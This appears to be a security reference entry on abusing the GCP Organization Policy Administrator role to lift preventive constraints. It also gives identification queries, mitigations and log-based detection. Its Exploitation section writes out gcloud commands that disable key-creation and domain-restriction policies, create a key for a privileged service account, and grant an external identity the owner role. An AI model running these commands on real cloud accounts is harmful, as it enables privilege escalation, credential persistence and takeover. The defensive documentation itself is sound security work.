Summary
| Forestall ACL Alias | GCP_DISABLE_ORG_POLICY |
| GCP Alias | Guardrail Bypass & Destruction |
| Affected Object Types | Organizations, Folders, Projects |
| Exploitation Certainty | Certain |
| Granting Roles | roles/orgpolicy.policyAdmin |
Description
GCP_DISABLE_ORG_POLICY indicates that an identity can create, modify, or delete Organization Policy constraints on GCP resources. Organization Policies are preventive controls enforced by the GCP platform itself — they restrict what actions can be taken regardless of IAM permissions. A user with the right IAM roles but blocked by an org policy cannot perform the action; disabling the policy removes that guardrail entirely.
This edge is often the key that unlocks other escalation paths. An attacker who is blocked from creating SA keys, adding external identities to IAM, or deploying to unrestricted regions can use GCP_DISABLE_ORG_POLICY to silently lift those restrictions before executing the primary attack.
Key abuse scenarios:
- Disable
constraints/iam.disableServiceAccountKeyCreation→ create long-lived SA keys for persistence. - Disable
constraints/iam.allowedPolicyMemberDomains→ add external (non-org) identities to IAM policies. - Disable
constraints/compute.requireOsLogin→ use legacy SSH key-based access to VMs. - Disable
constraints/gcp.resourceLocations→ deploy resources to unrestricted regions for data exfiltration.
Identification
gcloud CLI
# Find who has orgpolicy.policyAdmin at org levelORG_ID=$(gcloud organizations list --format="value(name)" | head -1)gcloud organizations get-iam-policy $ORG_ID --format=json | \ jq '.bindings[] | select(.role | test("orgpolicy.policyAdmin")) | {role: .role, members: .members}'
# List all org policies enforced at the organization levelgcloud org-policies list --organization=$ORG_ID \ --format="table(constraint, booleanPolicy.enforced, listPolicy.allValues)"
# List project-level policy overridesPROJECT_ID="my-project"gcloud org-policies list --project=$PROJECT_ID \ --format="table(constraint, booleanPolicy.enforced, listPolicy.allValues)"GCP Console
- Open GCP Console → IAM & Admin → Organization Policies.
- Review which constraints are enforced and at what scope (org, folder, project).
- Check IAM & Admin → IAM for principals with
Organization Policy Administrator.
Exploitation
gcloud CLI
ORG_ID=$(gcloud organizations list --format="value(name)" | head -1)PROJECT_ID="target-project"
# Disable the SA key creation constraint at project level to enable persistent credentialscat > /tmp/disable-key-policy.yaml << EOFname: projects/${PROJECT_ID}/policies/iam.disableServiceAccountKeyCreationspec: rules: - enforce: falseEOFgcloud org-policies set-policy /tmp/disable-key-policy.yaml
# Create a long-lived SA key (previously blocked by the constraint)TARGET_SA="high-priv@${PROJECT_ID}.iam.gserviceaccount.com"gcloud iam service-accounts keys create /tmp/stolen_key.json \ --iam-account=$TARGET_SADisable domain restriction to add external identities to IAM:
cat > /tmp/disable-domain-policy.yaml << EOFname: projects/${PROJECT_ID}/policies/iam.allowedPolicyMemberDomainsspec: rules: - allowAll: trueEOFgcloud org-policies set-policy /tmp/disable-domain-policy.yaml
# Add an external attacker identity to the project IAM policygcloud projects add-iam-policy-binding $PROJECT_ID \ --role="roles/owner"Compound path: GCP_DISABLE_ORG_POLICY → disable iam.disableServiceAccountKeyCreation → GCP_CREATE_SA_KEYS → long-lived credential persistence on a privileged SA.
Mitigation
- Restrict
roles/orgpolicy.policyAdmin— assign to at most one dedicated admin account with MFA enforcement; never to developer or automation identities. - Set security-critical constraints at the organization root — project-level overrides can be prevented with
constraints/orgpolicy.disableOrgPolicyProtection(where available). - Treat org policy changes as security events — monitor with the same urgency as IAM changes; a policy relaxation often precedes a broader attack.
- Review all project-level overrides — any project policy that is less restrictive than the org-level policy should be documented and justified.
Detection
| Log Type | Method | Key Fields |
|---|---|---|
| Admin Activity | CreatePolicy UpdatePolicy DeletePolicy SetOrgPolicy |
resource.type=organization/folder/project, constraint name |
ORG_ID=$(gcloud organizations list --format="value(name)" | head -1)gcloud logging read \ 'protoPayload.methodName=~"SetOrgPolicy|CreatePolicy|UpdatePolicy|DeletePolicy"' \ --organization=$ORG_ID \ --format="table(timestamp, protoPayload.authenticationInfo.principalEmail, protoPayload.resourceName, protoPayload.request.policy.constraint)"Alert on:
- Any
CreatePolicy,UpdatePolicy,DeletePolicy,SetOrgPolicycalls that relaxes or resets a security-relevant constraint. - Policy changes on constraints related to SA key creation, domain restriction, OS Login, resource locations, or VPC SC.
- Policy operations by identities outside of the known infrastructure automation pipeline.